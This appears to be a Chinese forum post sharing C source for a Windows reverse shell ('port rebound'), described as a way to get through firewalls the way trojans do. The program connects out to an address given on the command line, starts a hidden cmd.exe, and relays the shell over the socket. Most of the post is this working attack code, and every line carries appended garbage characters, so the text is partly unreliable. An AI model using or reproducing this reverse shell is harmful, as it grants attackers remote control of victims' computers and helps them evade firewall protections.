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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zizk7<?L .  
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/* ============================== Zx{96G+1  
Rebound port in Windows NT bik*ZC?E  
By wind,2006/7 >(3\k iYS  
===============================*/ cp6WMHLj   
#include >72JV; W]  
#include 30Drrno7Io  
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#pragma comment(lib,"wsock32.lib") xA h xD|4_  
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void OutputShell(); #NNewzC<*  
SOCKET sClient; NfzF.{nh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =o^|bih  
WeMAe w/d  
void main(int argc,char **argv) sx 9uV  
{ A:# k  
WSADATA stWsaData; DBsDk kB{  
int nRet; gfy19c 9  
SOCKADDR_IN stSaiClient,stSaiServer; j6g@tx^)'  
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if(argc != 3) 'bu)M1OLi  
{ >t  <pFh  
printf("Useage:\n\rRebound DestIP DestPort\n"); OP! R[27>  
return; #E$X ,[ZFo  
} }Hcx=}j  
^6;V}2>v}  
WSAStartup(MAKEWORD(2,2),&stWsaData); 3l4NC03I&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g|%L"-%gJ  
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stSaiClient.sin_family = AF_INET; UiQEJXwnz  
stSaiClient.sin_port = htons(0); nJZ6? V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H(-4:BD?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `bG7"o`  
{ 9$1)k;ChP/  
printf("Bind Socket Failed!\n"); 9em*r9-  
return; {1-V]h.<J  
} iwF9[wAft  
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stSaiServer.sin_family = AF_INET; }#`:Qb \U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @f1*eo5f  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V[; M&=,"  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,Zf 9RM  
{ q]% T:A=  
printf("Connect Error!"); /rc%O*R  
return; 1(#;&:$`i  
} d 8o53a]  
OutputShell(); b-^p1{A0zW  
} $V>yXhTh  
=L-I-e97@  
void OutputShell() K^[#]+nQ  
{ {+.r5py  
char szBuff[1024]; )?aaBaN$  
SECURITY_ATTRIBUTES stSecurityAttributes; C$yq\C+I  
OSVERSIONINFO stOsversionInfo; 1zxq^BI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0CExY9@Wq  
STARTUPINFO stStartupInfo; ~I=Y{iM  
char *szShell; ,*svtw:2')  
PROCESS_INFORMATION stProcessInformation; !Ng=Yk>3  
unsigned long lBytesRead; ~P*4V]L^  
/t%u"dP"T~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O9M{  ).  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9N8I ip]w  
stSecurityAttributes.lpSecurityDescriptor = 0; M8&}j  
stSecurityAttributes.bInheritHandle = TRUE; G$M9=@Ug  
'lz "2@4{  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DKL@wr}8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |N/G'>TS  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &a0r%L()X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g" VMeW^  
stStartupInfo.wShowWindow = SW_HIDE; dl-l"9~;  
stStartupInfo.hStdInput = hReadPipe; b7`D|7D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u{<"NR h  
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GetVersionEx(&stOsversionInfo); OhZgcUqQ8  
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switch(stOsversionInfo.dwPlatformId) NpP')m!`}  
{ <UP m=Hb  
case 1: 7, } $u  
szShell = "command.com"; 8IQtz2  
break; A7_4 .VH  
default: 9A'Y4Kg<C  
szShell = "cmd.exe"; ?%tMohL  
break; 2B0W~x2=  
} Sl2iz?   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7cDU2l  
{7hLsK[])  
send(sClient,szMsg,77,0); sic"pn],U  
while(1) OR1DYHHT/1  
{ y&~w2{a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vv.r8IGYm  
if(lBytesRead) z;tI D~Y  
{ *|.0Myjo  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `4?~nbz  
send(sClient,szBuff,lBytesRead,0); HSUI${<  
} 0oZsb\  
else g#]" hn  
{ 3f.b\4 U  
lBytesRead=recv(sClient,szBuff,1024,0); t_z>Cl^u  
if(lBytesRead<=0) break; %M F;`;1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K7knK  
}  fE f_F r  
} $``1PJoi  
!LMN[3M_  
return; +j_ ;(Gw7  
}
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